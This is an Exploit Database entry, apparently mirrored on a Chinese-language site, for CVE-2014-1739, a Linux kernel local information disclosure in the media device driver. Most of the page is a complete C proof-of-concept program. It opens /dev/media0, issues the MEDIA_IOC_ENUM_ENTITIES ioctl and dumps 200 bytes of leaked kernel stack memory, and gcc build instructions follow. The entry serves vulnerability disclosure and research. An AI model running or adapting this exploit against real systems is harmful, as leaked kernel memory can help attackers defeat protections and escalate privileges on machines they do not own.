Linux Kernel 3.3.5 – ‘/drivers/media/media-device.c’ Local Information Disclosure

• Exploit Database
• 16 阅读

• 作者： Salva Peiro
  日期： 2014-05-28
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/39214/

• /*
  source: https://www.securityfocus.com/bid/68048/info
  
  The Linux kernel is prone to a local information-disclosure vulnerability.
  
  Local attackers can exploit this issue to cause a memory leak to obtain sensitive information that may lead to further attacks.
  
  Linux kernel 2.6.38 through 3.15-rc2 are vulnerable. 
  */
  
  /*
   * $File: media-enum-poc.c
   * $Description: CVE-2014-1739: Infoleak PoC in media_device_enum_entities() leaking 200 kstack bytes on x86_32.
   * $Author: Salva Peiró <speirofr@gmail.com> (c) Copyright 2014.
   * $URL: http://speirofr.appspot.com/files/media-enum-poc.c
   * $License: GPLv2.
   */
  
  #include <stdio.h>
  #include <fcntl.h>
  #include <string.h>
  #include <stdint.h>
  
  #include <sys/ioctl.h>
  #include <linux/media.h>
  #define MEDIA_DEV "/dev/media0"
  
  int main(int argc, char *argv[])
  {
  struct media_entity_desc u_ent = {};
  char *file = MEDIA_DEV;
  int i, fd, ret;
  
  if (argc > 1)
  file = argv[1];
  fd = open(file, O_RDONLY);
  if (fd < 0){
  perror("open " MEDIA_DEV);
  return -1;
  }
  
  u_ent.id = 0 | MEDIA_ENT_ID_FLAG_NEXT;
  ret=ioctl(fd, MEDIA_IOC_ENUM_ENTITIES, &u_ent);
  if (ret < 0){
  perror("ioctl " MEDIA_DEV);
  return -1;
  }
  
  printf("[*] CVE-2014-1739: Infoleak PoC in media_device_enum_entities() leaking %d kstack bytes:", sizeof(u_ent.reserved) + sizeof(u_ent.raw));
  for (i = 0; i < 200/sizeof(uint32_t); i++) {
  uint32_t data = *(uint32_t*)((uint32_t*)&u_ent.reserved+i);
  if (i % 4 == 0)
  printf("\n%08d: ", i);
  printf("0x%08x ", data);
  }
  printf("\n");
  
  return ret;
  }
  
  /*
   gcc -Wall -g -m32 media-enum-poc.c -o media-enum-poc # */